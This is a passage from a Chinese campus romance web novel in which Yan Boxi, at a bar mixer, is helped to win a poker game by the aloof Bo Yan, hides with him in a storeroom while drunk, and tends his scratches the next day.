颜帛夕因为跟李清清回寝室拿衣服,晚来了一会儿,刚进来就被震耳欲聋的音乐差点轰晕。
颜帛夕单手捂着耳朵晃了晃脑袋。
光线明明暗暗,李清清只能勉强辨认自己学校的人坐在哪儿。
“在那儿。”她靠在颜帛夕耳边扬声喊,拉着她过去。
穿过混乱的几桌人。
等走近才发现,走到的地方是薄彦这桌。
宋京坐在薄彦的沙发扶手,刚在架子鼓室见过,他还记得,此时扬手跟两人打招呼:“嗨。”
卡座大,除了薄彦吴文宇几个,还有同级的另外几个人。
因为这声“嗨”,正喝酒玩游戏的几人都仰头看过来。
周围都乱,就薄彦这桌安静。
他气场盛,人又冷淡,各种虚名挂得多,冷着脸坐在那儿,不相熟的都对他有点敬畏。
几桌挨得近的都没乱蹦,不过多数都频频投视线过来。
这会儿看到桌旁边杵了两个女孩儿,更是投了目光就没转开。
颜帛夕扫到周围的视线,戳了戳李清清,正想喊她再找位置,吴文宇忽然扬了手,热心,指薄彦坐的沙发:“坐这儿吧,其它座都没位置了。”
颜帛夕犹豫了一下。
她能感觉到薄彦的冷漠,所以也知道为什么这沙发就坐了他一个人。
八成是这人不想跟别人坐,别人看出来也就没人触这霉头。
而且沙发太窄,她和李清清坐下,肯定会和薄彦挨着。
正迟疑拽李清清,想再拉她去别的地方。
靠在沙发的人忽然往旁边侧了侧身体。
在阴影里让了位置,依旧是懒懒的声线:“其它卡座没位了。”
8.9.28症候群
颜帛夕挨着薄彦坐下,才知道什么叫真正的瞩目。
明明大家并没有做得很明显,但就是有人不间断地来敬酒。
敬酒的人在几步之外还扬声高喊,走近会不自觉低声,先是瞟一眼薄彦,然后勾着吴文宇的肩撞杯子,微苟背,放低的作态。
无论男女,无论认不认识,都会借故或是直白地往他们这桌看,目光落在薄彦身上,再滑开,和朋友低声耳语。
分明她身边的男生只是安静地坐着,偶尔低眸翻转手里的手机,什么都没干。
一种低调的,人群的焦点感。
颜帛夕轻轻按了按耳朵,缓解被重音乐持续撞击的耳膜,靠到李清清耳边:“怎么......”
她说这话时,目光落在不知道第几个来找吴文宇喝酒的人。
处在人群中心,李清清更多的是新奇感,她跟着音乐晃动了两下,搂住颜帛夕的脖子,贴耳解释:“有钱有势啊,都在攀关系,想着以后好办事。”
“他们那几个朋友里,薄彦家好像更厉害一点,不仅仅是有钱,”李清清小声传达听来的八卦,“不过他不经常参加这种活动,吴文宇人好说话一些,所以都在找他喝酒。”
人情世故,觥筹交错,大学就是一个缩小版的社会。
薄彦家的情况,颜帛夕知道一部分,想了想刚李清清说的话,也能理解为什么大家都来找他喝酒。
她动了动身体,裙边擦到薄彦的裤缝,转头说对不起,男生像是没听到,头往她唇前歪了歪:“什么?”
清冽的薄荷味,混着淡淡的酒香。
坐得太近,侧低头的动作,他的耳廓几乎蹭到她的唇。
颜帛夕晃神之后,往后稍稍退开,薄彦像是察觉到她的动作,直身,眼皮撩起,说了声“抱歉”。
声音很低,颜帛夕几乎听不到,但能看清他的口型,她两手摆了下:“没事。”
她看到薄彦在阴影里扫了下她摆动的手,正想问他怎么了,斜前方几把椅子忽然被抽开,刘泽文带着几个人过来坐下。
今天这联谊本来就是他先挑衅,她和李清清才来的。
这会儿他喝多了,瞄到她和李清清在这儿坐,自然是过来找事。
“玩牌吗?”刘泽文切了一下左手的扑克,明显带了酒意,看向李清清,“德/州/扑/克,一杯三口,封顶两杯玩吗?”
明闻婧本来在旁边桌,看到有牌玩儿,举着个大扎啤杯,也走过来。
酒过三巡,三说两劝,加入的很多。
原本宽松的卡座,拉着椅子又坐过来几个人,李清清那侧的扶手也坐了人,颜帛夕被迫往薄彦身边又靠了靠,百褶裙摆下的腿贴着他的裤缝。
吴文宇洗着牌扬声:“都谁玩儿,把酒添上,举个手,我发牌。”
说完他偏头问一边的薄彦:“玩儿吗?”
薄彦没抬眼,落眸扫了下自己被贴着的右腿,片刻后,目光抬起,手指撩了下点桌面:“你们玩。”
李清清跟刘泽文几个人不对付,没有被打脸打上门不打回去的道理,当即满了酒跟吴文宇要牌。
闹闹哄哄地扬手倒酒加入了十几个人,颜帛夕瞅着自己的酒杯还没决定。
先前在国内,父母管得严,类似的活动她没参加过,刘泽文说的牌她也不会儿玩,但她想试试......
指尖抵着面前的酒杯,半是犹豫计算自己的酒量能够输几把,耳边懒懒的男声忽然问了句:“想玩儿?”
颜帛夕轻怔,扫了下周围,然后侧眼看他,轻声坦白:“有点,但我不会。”
两人挨得近,光线又昏,没人看到两人的交流。
颜帛夕听到薄彦轻笑,顺着问自己:“酒量也不好?”
她点头:“嗯。”
“有点一般,能喝几杯。”她低声。
几句话间,吴文宇手上的牌已经发到了自己,点了两张正要发给颜帛夕,薄彦忽然捏了酒瓶,在自己面前的玻璃杯添了酒。
吴文宇看到他的动作,手里的牌调转了一个方向,递向他:“你也玩儿?”
薄彦抽了他手里那两张扑克,压在颜帛夕面前的桌子上:“不,她玩儿。”
另一手把杯中酒添到满,漫不经心地口吻:“赢了算她的,输了算我的。”
他这声不低,恰逢一首喧闹的摇滚结束,环境也安静。
众人都听到了这句,看过来,脸上表情或惊讶或好奇,精彩纷呈。
颜帛夕动了一下,膝盖再次蹭过身侧男生的侧腿。
刘泽文喝高了,现在心里除了想整李清清没别的,一扬手在空中挥了两挥:“来,来。”
气氛好,牌局开始。
薄彦就坐在颜帛夕一侧,时刻瞧着她的牌,偶尔低声讲两句规则。
颜帛夕虽然技术约等于零,但运气好,又有薄彦帮她看着,几把下来,输的时候很少。
刘泽文跟李清清对着all in了几次,几杯下肚,情绪更是上头,矛头一转,对准了颜帛夕。
捏着酒杯,封顶六口,问她跟不跟。
几局下来,颜帛夕也熟悉了规则,垂眸捏着纸牌一角,翻起看了两眼。
她牌不太好,虽然气不过刘泽文那副装逼嘴脸,但她也实在没把握赢。
正犹豫间,手心里的牌被人压住移走。
薄彦扣住她那两张扑克,用仅仅两人能听到的声音:“想玩儿就压,输了我喝。”
颜帛夕看他一眼,搓搓手指,迟疑:“那你会不会喝得有点多......?”
薄彦指尖点在扑克背面,喉间溢出笑音:“他也不一定会赢。”
扑克在薄彦手里,前三张牌翻牌弃牌后,他加注到三杯,颜帛夕跟着胆战心惊,她那个牌数字不一样,花色也不一样,实在不算好。
刘泽文看到颜帛夕的神情,心放到了肚子里,不服气,跟压。
第二圈翻牌结束,桌上的人牌不好,大多都选择弃牌,仅剩下的三人是刘泽文,颜帛夕和一个学弟。
颜帛夕静静吸了口气,目光扫过桌面已经翻开的四张牌,牌面好像在往好的方面走。
薄彦说得对,她不是没有希望赢。
薄彦压住颜帛夕手里的扑克,侧脸问她:“还加吗?”
颜帛夕疑问:“还能加吗?”
不是已经破了封顶,变成了三杯。
“可以,”他低声笑,“想玩儿就加,我五他四,这样加。”
颜帛夕眼睛一亮:“那我加了?”
薄彦视线扫过她细细的手腕,懒散地嗯了一声。
颜帛夕抬手,对着不远处的刘泽文:“我五你四,加吗?”
破顶加码,要比对方多喝一杯。
刘泽文被这种屈辱的
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加码方式气笑,他顶着一口破公鸭嗓音,没拿酒杯的手扬着往空中点:“加就加,都五!”
一局简单的德/州/扑/克,码数加到五杯,气氛顶到最高,全桌人的注意力现在都在颜帛夕和刘泽文身上,当然,更多的人也在瞟薄彦。
最后一张牌翻开,刘泽文振臂叫起来:“葫芦,我是葫芦,我看谁比我大!”
李清清实在受不了了,扣着颜帛夕的手腕刚想去看她的牌,另一侧的薄彦已经把女孩儿手心的牌抽走,翻开扔在桌面。
淡淡的语气,看着刘泽文:“顺子,喝吧。”
吴文宇盯着牌面:“我靠。”
李清清跟自己赢了一样兴奋,旋即站起来,指着刘泽文,扬眉吐气:“喝啊,我看谁比你大,我们比你大,你喝啊,五杯,大爷的。”
颜帛夕跟着长舒一口气,往后靠,因为也喝了酒,脸红扑扑的,射灯点在瞳仁里,晶晶亮亮。
坐她一侧的人两指夹着扑克牌,轻转了两下,云淡风轻的样子,仿佛把刘泽文架到现在这个局面的人不是他。
颜帛夕偏头看他,想跟他道谢,毕竟虽然牌是她抽的,但光凭她那点技术,不可能赢多输少。
喝了酒,光线又昏,社交界限没平日里那么清晰,她往左边倾身,靠得近了点:“谢谢你,薄彦。”
她嗓音清澈,沾了酒,尾音拖沓,又有点软软的,念薄彦两个字念得格外好听。
薄彦心神一颤,偏眸看过去。
她挨得很近,气息几乎钻进他怀里,裙摆下的腿还贴在他的小腿侧。
他刚强迫自己全身心玩牌儿才勉强转移的注意力,被她很轻易就勾了回来。
他很清楚自己对她的渴望并不掺杂任何情/欲,但仅仅是想被抚摸,安抚的想法也足以吞噬他的大脑。
身体的每一个细胞都在疯狂叫喊,极度想被她碰一下。
桌上的人好几个都在看他们,但他本来就不是怕被盯的性格。
他低低垂眸,凝着她的眼睛,问得很自然:“很开心?”
颜帛夕以为她问自己赢牌开不开心。
别人帮了自己,当然要表达夸赞和感谢,她认真点头,注视薄彦的眼睛:“开心,很开心,谢谢你。”
“嗯,”他食指勾了下她右腕的手环,“那把这个送我?”
和昨天她想送他的那个一个系列,只不过颜色不一样,她的是纯白色。
她喝得有点兴奋,情绪高昂,当即点头,摘了自己的手环,压在薄彦手腕上:“送你了,很高兴和你成为朋友。”
女孩儿指腹按在他腕内侧皮肤的一瞬间,他喉咙深深滑动,觉得身体里那些一直在叫喊的细胞被压住了。
脑内神经被细细勾住,安抚下来。
很舒服,舒服到不想让这根手指离开他。
“绕一下,卡扣系上就行。”手环已经给了,颜帛夕想松手,却被薄彦按住。
他压住她的手背,按在自己的腕内侧,让她的整个手心完完全全地贴在他的皮肤上。
之后把她的手一起拉到茶几下:“我刚帮了你,你是不是也应该帮我?”
颜帛夕愣住,抬头。
他在光影里笑了一下,嗓音微哑:“帮个忙,不会系。”
随后颜帛夕感觉到,薄彦在抬手时,不知道是有意还是无意,指尖蹭过了她的指尖。
9.9.30症候群
颜帛夕原以为薄彦抬手是为了松开她,但没想到不是,他只是换了个方向,依旧按着她的手背压在他的皮肤上。
“薄彦。”她动了动手。
半秒后,男生像是刚意识到,松开:“抱歉。”
他每次都说抱歉,但好像又没什么抱歉的意思,口吻懒散,像随口说的。
颜帛夕半垂眸,看了眼自己掌心下虚虚挂在薄彦手腕的手环。
这么一看,忽然觉得有点奇怪,从昨晚到现在自己一共给了他两样东西,都是自己的。
她手收回来,看他,轻声:“我还是给你黑色的那根?回去给你,就在我房间......”?
薄彦身体后靠,和她拉开距离:“就这个。”
“我喜欢白色。”语气懒洋洋,还是像在随口乱讲。
“帮忙系一下,”他又提醒,晃了下手腕,“单手系不上。”
对方这么说了,没有再推拒的道理,颜帛夕伸手,手指绕上勾线,缠过男生的腕子。
薄彦斜斜靠在沙发里,眸光半垂,就这样睇着眼前人帮他系手环,她指腹每蹭过他的皮肤,他都有感觉。
想让她就此贴住,不再拿开,又或者往上再摸一点,手臂,或者其它地方。
无论碰哪里,只要是她碰,都很舒服。
他空着的另一只手支在太阳穴,在阴影里扯了下唇,也觉得自己很变/态。
“好了。”颜帛夕勾着搭扣拨了一下,确认完全系好,收手抬头。
属于她的气息完全收走,薄彦瞧了她片刻,淡声:“谢谢。”
“没关系,本来就说要送你......”
“帛夕。”宋之霖过来叫人。
酒馆光线不明,远处再响起摇滚乐,人影晃动,颜帛夕回头,凝神看了两眼,才辨认出宋之霖来的方向和他本人。
“学长?”她仰头。
薄彦比她先一步看到宋之霖,空掉的酒杯倒扣,视线落过去。
宋之霖走近:“叫我名字就可以。”
“音乐社来了几个人,”他示意自己刚坐的那桌,“有之前乐队的鼓手,你要过去坐坐吗?”
颜帛夕对摇滚乐队很感兴趣,学校先前有一支乐队在香港境内小有名气,去年在一个音乐制作人的帮助下,出了一张单曲,私底下还办过几次小型的演唱会。
队内的架子鼓手是原先音乐社的社长。
颜帛夕眼睛一亮,连忙起身,搭在腿面的衣服放在沙发上,要跟宋之霖走:“好啊,我也想去听听。”
李清清社交达人,几分钟前被拽到了邻桌玩骰子,她坐在这里百无聊赖,唯一认识薄彦,和他还没什么好说的。
“那地方没位置了吧。”
她从桌前绕开时听到薄彦说了句。
宋之霖就站在她斜前方,当然也听到了,落眸看过来,两个男生视线相对。
宋之霖解释:“有人要走了,腾出来两个空位。”
薄彦点头,倒扣的酒杯反转,杯底打在桌面。
颜帛夕跟宋之霖走后没多久,吴文宇和宋京回来。
宋京明明B大的,A大联谊凑热闹也就算了,还跑去加人家微信。
吴文宇在刚颜帛夕的位置一屁股坐下,手机举到薄彦面前,划相片给他看:“就这个,宋京看上的,非让老子去给人家要微信,耳骨钉,唇钉,这姑娘太野了,老子觉得他招架不住......”
薄彦挥手摆开:“酒味太重,离我远点。”
“我靠,”吴文宇揪着衣领闻自己身上,“哪重了我靠,我都没怎么喝,还没刚坐这儿那个姑娘喝得多......诶,她去哪儿了,她不刚还在这儿坐吗......”
吴文宇转头扫视,找了几眼。
薄彦酒杯放在桌面:“被宋之霖叫走了。”
吴文宇正巧瞄到颜帛夕坐的地方,盯着那处,一拍大腿:“我就说他俩有点啥吧!不然怎么可能天天在一起。”
他掰着手指数:“上上次球场,下午练习室,还有现在......而且宋之霖没对谁这么好过吧,一跨学院的学妹,人姑娘长得真乖,宋之霖也正直斯文样,你别说还真挺......”
吴文宇喜欢拉郎配也不是一天两天了,不然也不能应下明闻婧的话,帮她搭红线。
薄彦把服务生刚端上的果盘推远,轻声冷笑:“那你觉得我呢?”
“你什么?”吴文宇转过来,一脸茫然。
薄彦右手搭在膝盖,两指轻点膝盖,也看颜帛夕那处,女孩儿眉眼弯弯,整跟桌上几人说话,挨她坐的女孩高马尾夹克衫的酷girl,明显很喜欢她,正搂着她的脖子跟她说话。
薄彦淡声:“你不是说宋之霖正直斯文?”
吴文宇上下扫了眼他,带了私人恩怨的“客观”评价:“你是一阴暗疯狗。”
骨子里带点天生运动员的执着,除奖杯外,其它看上了什么也一定要要,握到手里就不会松开。
强势且偏执。
吴文宇骂得不留情,原以为会被薄彦会刻薄地骂回来,没想到他只是手指点在玻璃茶几,轻轻歪头,半是带着笑意,漫不经心地回他:“好像是呢。”
明闻婧家里情况和颜帛夕差不多,父母两人都在政府任职,但和颜帛夕不一样的是,颜帛夕家里管得严,她属于老来得子,家里宠得恨。
大小姐前十九年的人生都是别人围着她转,回来两天,听人说圈子里薄彦人帅又冷淡,大小姐谈就要谈最好的,所以想来碰碰壁。
酒喝了两圈,社交任务达成,想起来自己还在追人。
拎了两瓶酒走过来,挨着吴文宇坐下,对薄彦晃酒杯:“哎,薄彦,你真的烦,跟姑奶奶谈谈怎么了,虽然你确实非常帅,但我长得也不丑,你不亏啊......”
吴文宇抵着她的手臂鬼叫:“我靠,我靠你把酒洒我衣服了上,我这件卫衣两万八你他妈赔我!”
明闻婧拎起他耳朵往旁边扯:“才两万八你叫个鬼,老娘给你画一个,老娘的画得过奖,画一件能卖十八万。”
“你当我没看过你画的画?鬼画符一样,考艺术小学都没人要,我靠你拧我???母夜叉,谁跟你在一起谁倒霉,你别跟薄彦谈了,我是不会帮你让我兄弟进火海。”
吴文宇一句母夜叉把明闻婧骂恼了,揪着他耳朵继续扯:“行行行,那我跟你谈,你不是说谁跟我谈谁倒霉吗,咱俩在一起,我不把你打得满地找牙我不姓明......”
吴文宇继续鬼叫:“神经病神经病!谁要跟你谈恋爱,跟你谈恋爱我不如咬舌自尽!!”
薄彦嫌两人烦,按了按耳朵,从桌上拎了半瓶高度数洋酒站起来,绕开桌子往外走。
吴文宇抬脚拦住他:“你去哪儿?”
薄彦下巴示意不远处的阳台:“吹吹风。”
说完目光落在两人身上:“你俩谈。”
明闻婧第三次拧上吴文宇的耳朵:“看见没,薄彦都这么说。”
吴文宇拔高音量:“说个屁,他是怕你缠才把你甩给我!!”
薄彦走到露台处,推开门,干燥的夜风扑在脸上,他也没觉得比刚刚在里面好到哪里。
往前两步,再反身,手搭在栏杆,闲闲往后倚靠,左手拎的酒瓶放在身旁铁艺茶几上,右手捏的玻璃杯里有酒有冰块。
他目光淡淡撩着,透过巨大的玻璃门,注视房间内。
穿百褶裙的女孩儿还坐在宋之霖旁边,和乐队其它几人交谈甚欢,眉梢眼角都吊了笑意。
吴文宇刚有句话说得对。
从某种程度上来说,他又偏执又疯,不是什么温柔和善的好人。
所以——
他手指轻轻打在搭着的围栏上,侧身轻勾了下唇,好像也没什么可犹豫的。
......
联谊进行了两个小时,颜帛夕有点顶不住了。
她第一次来酒吧,耳膜习惯不了这样的冲击,心脏都被震得跳动频率变成了音乐节拍。
从宋之霖那桌离开,找到李清清,在她身边找了空位坐下。
难得有这样玩儿的机会,气氛好,颜帛夕喝得有点多。
头晕晕的,言语动作间都带点醉意,手拢着唇,靠在李清清耳边:“我们等下还玩儿什么!”
李清清虽然比她清醒,但喝得也不少,也拢着唇,喇叭一样:“捉迷藏!”
短暂的间歇,摇滚乐又开始放,李清清左手绕圈点了点整个酒馆,喊着向颜帛夕解释:“以舞池为界,就在一层东边,躲哪里都行,被
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找到的罚一杯,全部人都没被找到,找人的喝三杯。”
都喝多了,所以才会玩儿这种弱智游戏。
颜帛夕半低头,三杯的三都要掰着手指数一下。
第一局李清清找人。
游戏开始,李清清埋脸趴在沙发靠背读秒。
颜帛夕被身旁一个学妹从座位拉起来,跟着身边的人踉踉跄跄转了两圈,偏眼瞄到远处露台,定了两秒,跌跌撞撞往那处走去。
她确实喝多了,看平地都是糊的,深一脚浅一脚,好不容易走到露台前的玻璃门,身体抵着推开。
走进露台,刚被推开的门在身后沉重地咣当了两下,合上。
她手掌按着前额,拍了拍头,打了个酒嗝。
再睁眼,入目昏沉。
露台没灯,仅靠月光照明,比有射灯灯光的酒吧内还要再暗一点。
她眨了眨眼,勉强适应光线,往右边拐角更暗的地方走,借着微弱的灯光低头看时间,嘴里念念有词,计算李清清还有多久开始起身找人。
还没等再抬头,砰一下,撞上了人。
她下意识抬手拽住身前人的衣服,防止自己侧歪摔倒,但实在是喝多了酒,手软脚也软,等全身上下并用的稳住身形,她几乎是扯住他的上衣跌在了他怀里。
头发乱糟糟地拱在他胸前,甚至能感受到隔着一层薄薄衣料他传递来的滚烫体温。
她靠在他身上,似乎要滑下去。
薄彦终于是抬手握住了她的肩膀,笑了。
“来露台干什么?”头顶响起声音。
颜帛夕听出是个男生,想站直,但大脑晕眩,手脚不听使唤,攀着他努力了两下,都没能完全脱离男生的怀抱。
而更搞笑的是对方只是扣住她的肩,并没有多余的动作,衬得她更像个徒劳挣扎的鹌鹑。
“捉......捉迷藏。”她回答。
头顶又是一声若有似无的轻笑,像在笑玩这个游戏的她幼稚。
颜帛夕轻轻喘气,挤了挤眼睛,晃头,左手终于摸到旁边的围栏,使力按住,正要往后退开,稳住身形,男生却忽然抬手勾住了她的后腰。
不同于刚刚她一人的攀附挣扎,这次是被对方完完全全地带进了怀。
“捉迷藏?”他靠在她耳边问。
颜帛夕终于听出薄彦的声音,迷蒙抬头,隔着水汽看过去。
“薄......”
薄彦扫到卡座里读秒结束,支着沙发起身的李清清。
视线收回,他头垂的更低了些,近乎耳语,低声问她:“想赢吗?”
他笑了笑,唇没有离开她的耳廓:“醉成这样也喝不了更多了吧。”
声落,没再等颜帛夕回答,他左手推开身旁储物间的门,把人带进去。
颜帛夕后背撞上储物间的墙壁,房门同时落锁,本就不甚清晰的音乐和人声,被彻底隔绝在外。
只有两平米大的储藏室,靠墙又放了一个木架,剩余的空间仅够两个人面对面站。
颜帛夕背贴墙,搭在她腰后的手还没有撤开,她几乎被薄彦完全拢在他的气息之下。
昏暗,沉闷,逼仄。
酒的后劲儿上来,她头痛到爆炸,咽嗓扬脸,懵声:“薄彦......”
外间传出露台玻璃门被推开的响动,再接着是李清清和另一个负责找人的师弟的声音。
储物间的门有一扇小窗,银白色的月光透过窗洒进来一些,落在薄彦侧脸,切出明暗两部分。
他搂在颜帛夕后腰的手轻抬,食指竖起,在唇前比了噤声,另一手捂在她的嘴巴上,制止她出声。
“不想少喝点酒?”他笑意不明。
颜帛夕晕到站不住,懵着摇了摇头,又点头,垂脑袋时为了站得更稳,无意识再次抬手拽上他的T恤。
薄彦垂眸,看了眼她抓在自己衣服的细白手指。
克制住想把她不带一丝缝隙按进怀的冲动,右臂抬起,手肘抵在她脑后的墙壁撑住,在她看不见的地方垂眼看着她的发旋。
他毫不挣扎,就这么看着她,让自己在这个闭塞的房间完全沉溺于她的气息。
几分钟后,颜帛夕恢复一点意识,轻推他,去转门把:“我......我要出去了。”
10.10.02症候群
拧开的门把被人按住。
颜帛夕还是站不稳,左手按在门上,懵懵怔怔地回头。
男生往后,靠坐在挨墙的架子上,长腿伸直,右手转着不知道从哪里摸来的笔。
透过门上小窗洒进来的月光正好落在他身周,为他镀了层淡淡的银色。
他的嗓音像是被浸了月光似的,清清沉沉:“现在出去不是要被抓住?”
颜帛夕晃神,木楞:“嗯?”
他右手停了转着的笔,半扬伸前,用笔的一端点了点她的耳廓。
“没听到?”他扬下巴示意门外,“还在外面。”
颜帛夕实在是晕得彻底,晃了晃头,慢半拍听到外间的动静:“......嗯。”
刚嗯完,按着薄彦的手臂,脑袋撞上他的前胸。
再一次投怀送抱。
薄彦没动,仍旧维持一手撑在靠坐的架子,另一手垂在身侧的姿势。
“颜帛夕。”他开口,清沉慵懒的嗓音掺了点哑。
颜帛夕听不清,拽着他的衣服往他怀里扎得跟深了些。
“薄彦......”她还没算完全失去意识,手腕顶着太阳穴,口齿不清,“我有点想吐。”
薄彦小指刮耳廓,侧头哼笑:“敢吐我就把你和吴文宇一起切碎了丢猪圈。”
拜吴文宇所赐他才来这里吹风,不然现在也不会在这里忍受折磨。
颜帛夕耳朵跟被堵了棉花似的,听不清也听不懂,毛茸茸的脑袋在薄彦锁骨连接颈侧的地方蹭了蹭:“不能......”
她打了个酒嗝,突然失忆,忘了薄彦的话:“不能什么?”
额头摩擦过薄彦的T恤,抬脸看他,表情纯真,目光炯炯:“你刚说什么......丢哪里?”
说完又皱眉,很困惑的眼神:“我不能和猪睡在一起......会被当成猪肉卖掉的。”
半垂头和她对视的人轻轻眯眼,少顷,眼神不明地提了下唇。
然后没忍住,抬手捏了下她的脸。
-
昨晚最后上的两叠酒都是果酒,喝起来甜,但后劲大。
颜帛夕不常出入酒吧这种地方,不清楚,觉得好喝贪了几杯,没想到结果就是喝断了片。
翌日下午,悠悠转醒,按了按太阳穴,迷蒙地睁开眼,发现自己闷在被子里。
扒着被子伸出头,沉沉吸了口气,眉心还突突跳着疼。
拢着被子翻身,脸埋回枕头,缓了大概两分钟,意识终于清醒了些,才想起来确认自己在哪里。
眨巴着眼扫视了一圈。
是在薄家,自己的卧室。
回忆了一会儿,没想起自己是怎么回来的,胳膊从被子里伸出去,眉心皱着,从枕头下摸出手机。
房间内拉了严实的窗帘,手机屏的冷光有些刺眼。
半眯着眼适应了光线,看清屏幕上堆成山的微信提示,再瞄回顶端的时间,确认现在确实是下午三点。
颜帛夕打了个哈欠,勾着被子翻身侧躺,划开挂在屏幕的消息。
手机切进聊天框之前她还在想昨天到底是怎么回来的,不过下一秒,也不用琢磨了。
李清清:[醒了吗醒了吗bb!!!]
李清清:[昨晚上那果酒劲儿太大了,我明明在走廊要了个帅哥的电话,今天早上醒愣是找不到。]
李清清:[不过我就是再喝醉,我也记得昨天是薄彦把你从阳台抱回来的!!!!!]
李清清:[还是公主抱。]
女生之间的对话,就是一方不回,另一方也能自己说三十条。
颜帛夕看到最后两句愣了几秒,之后侧脸摩擦着枕面又呼了口气,再看回去。
李清清:[他说他要带你走,我怎么可能同意,一路追出去拦你们,他解释说你住在他家!!]
李清清:[他还拿手机给我看了你们两个的聊天记录。]
李清清:[所以你们真的住一起????]
李清清:[他昨天抱你出来的时候好多人都看到了。]
李清清:[他脖子上还有红痕,是不是你抓的??]
李清清:[你们两个昨天在阳台到底干什么了?!!]
李清清问题太多,颜帛夕不知道要回哪一个,而且......她按着脑袋从床上坐起来,她和薄彦在阳台......
真想不起来了。
什么啊,从阳台抱她出来是怎么回事?
颜帛夕靠在床头,忍着酒后头痛和口渴冥思苦想,终于,在第三次回忆昨晚清形时,脑袋像搭上弦一样闪出几个画面。
她怎么觉得她好像抱薄彦了,还拽着他的衣服在他胸前没骨头一样蹭。
“......”
她沉沉呼了口气,手捂上脸。
早知道就不喝那个酒了,什么鬼。
薄彦现在不会想打死她的心都有了吧。
那么冷淡的人,昨晚被她那样缠着......想到这里颜帛夕又想去死了。
不过没等她去死,李清清的消息再次发了过来。
李清清:[还没醒?]
李清清:[薄彦真的把你拐走了??]
李清清:[你再不回我就报警了。]
害怕李清清一个冲动真做出来点什么,颜帛夕停止思维发散,拢着被子拉高,赶忙给她回去了电话。
李清清:“喂??阿颜,小夕,夕夕......”
颜帛夕阻止她下一步的称呼再叫出来,声音带着醉酒后的绵软:“我在,我在呢。”
李清清长舒一口气:“吓死我了,你再没消息我真去报失踪。”
说完她又想起在微信不断问过的事情:“你和薄彦真的住在一起吗???他说的时候我都惊了,我真不知道你们认识,不过你放心,我嘴很严,从昨天到现在没跟任何人说过,绝对保密。”
颜帛夕酒还没醒,没李清清脑子转得快。
李清清说了四五六七八句,她才勉强意识到她问的第一个问题
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她在床头坐直了点,轻声回答对面:“对,我们父母认识,我现在借住在他家。”
“之前跟他不熟,不清楚说出去他会不会介意,就没跟学校里的人讲,也没和你说,”颜帛夕说,“对不起啊,清清。”
李清清大度:“没事,这有什么,就是昨天吃了个瓜很震惊。”
“现在认识的都在问我你们什么关系,我守着个大秘密不好开口。”李清清语气有点兴奋。
又聊了几句,颜帛夕实在浑浑噩噩,头痛,两人把电话挂了。
她瞧着紧闭的门琢磨半天琢磨不出头绪,又不想出去问薄彦还在不在,末了,撩着被子躺回去,想着再睡会儿。
一觉睡得昏天地暗,再醒天已经黑了。
掀被下床,踩着拖鞋去了浴室,洗漱换衣服再出来,精神好了不少,就是肚子饿。
一整天没吃没喝。
她拨着半湿的头发看了眼时间,晚上八点半,不知道薄彦回来没有,现在出去如果撞上有些尴尬。
但一直在房间呆着也不是事,思考了一会儿,还是想下楼看看。
但怕什么来什么,几分钟后,在一楼厨房口碰见了薄彦。
她想下来倒杯水,弄点吃的,走到楼下发现赵姨不在,叫了几声也没人应,只能自己钻进厨房煎荷包蛋。
等荷包蛋煎好,端着盘子转身,差点撞到人,吓了一跳,轻叫一声往后退了半步:“薄......薄彦。”
薄彦扫她一眼,绕过她往里。
既然碰到了,也不能不打招呼直接走,迟疑了两秒,颜帛夕把托盘放在身侧的台面,走过去:“那个,昨天......”
她想到自己昨天抱薄彦,现在就想找个地缝钻进去。
是她抱的吧,仅有的记忆告诉她好像是她喝多了主动抱的。
“对不起。”她瞧着薄彦的背影。
厨房光线明亮,把男生的身影勾勒得高大英挺。
最近降温,他穿很薄的黑色连帽衫,一手插口袋,另一手提了水壶,往杯子里添水。
“对不起,薄彦……”
背对她的人笑了一下:“知道对不起什么吗,你就对不起。”
他转过来,背靠柜台,姿态散漫地看着她。
颜帛夕被问得哑声,垂了垂眸,再看薄彦,有些局促:“就是昨天喝多了……抱你,对不起。”
薄彦倚着台面,微微偏头:“光道歉就有用?”
颜帛夕再次怔愣,抬头看他。
薄彦手里的水重新加了冰块,迈步过来。
杯子放在她身后的台子,单手撑在上面,微低眸凝她。
颜帛夕被看得心里发慌,犹犹豫豫,说话声都打颤:“那,那怎么办,我昨天不知道那个果酒的度数,喝多了,不是故意的…”
“抱抱我。”他打断她。
颜帛夕停住话,倏然抬头。
薄彦顶着她的视线,混声笑,不太明显:“或者你也可以选择摸我一下。”
11.10.03症候群
随着这句话音落,薄彦发梢的水滴在了她的脖子上。
冰冰凉凉,沿着她的脖颈下滑。
他刚洗完澡,头发没完全吹干。
颜帛夕被冰得一个激灵,仰头和他对视,以为自己听错了:“你,你说什么?”
薄彦收手,撤开一些距离:“不是你说要赔偿?”
颜帛夕迷茫,他在偷换概念,她没有说赔偿。
“你抱了我,现在再抱回来,就当抵了。”他又说。
她觉得他在瞎讲,能这样抵吗,总感觉哪里不对。
还没等她再有反应,薄彦背靠冰箱,低眸睨着她,要笑不笑的表情,闲闲问:“不行吗?”
“当然不行。”颜帛夕惊愕之后回答。
“那,那怎么行,怎么能够……”她太惊讶以至于有点语无伦次。
薄彦仿佛知道她要这么回答,点了下头,打开头顶柜门,从里面拿了瓶碘伏,之后半撩起卫衣下摆,往客厅的方向走。
“那帮我涂药?”他问。
颜帛夕愣了一下,跟上去,前面薄彦回头看了她一眼:“因为你伤的。”
她视线下落,扫到他腰处刮伤的痕迹。
薄彦在沙发上坐下,拎着的碘伏放在茶几,敞腿而坐,靠在沙发上,解释:“昨天晚上弄你回来,碰到了门口花园的围栏。”
说着他卫衣衣领往下拉了点,露出锁骨和脖颈处的红痕,很痞地笑了一下:“也是你抓的,你说怎么办吧。”
颜帛夕盯着他脖子上的痕迹。
她酒品这么差吗?她不记得了。
她有点丧气:“抱歉,真的不好意思。”
“嗯,”薄彦点了下头,右手捏的那包棉签一同扔在茶几,“那过来帮我涂药。”
颜帛夕还是觉得有点怪,但对方因为自己“伤”了这么多处,实在不好拒绝。
她走过去,捡起茶几的棉签和碘伏。
薄彦伤的位置太靠下,她想了想,弯腰想蹲下,被薄彦扶了下手肘。
“坐旁边。”他下巴轻点自己身边的空位。
颜帛夕本来就懵,被薄彦三糊弄两糊弄,现在基本顺着他在做。
她拧开碘伏的瓶盖,用棉签沾了一些。
棉棒头的位置没按对,被薄彦握着手腕往旁侧移了半寸。
薄彦侧腰刮得不深,只是看着严重罢了,几道长血痕,胡乱布在紧实的腰腹。
颜帛夕实在愧疚,涂两下就要说一句对不起。
两层药涂完,棉签棒扔进茶几下的垃圾桶,表情还是歉疚得不行。
“我卧室有防水的创可贴,”她指了下他的脖子,“我上楼帮你拿。”
“嗯。”
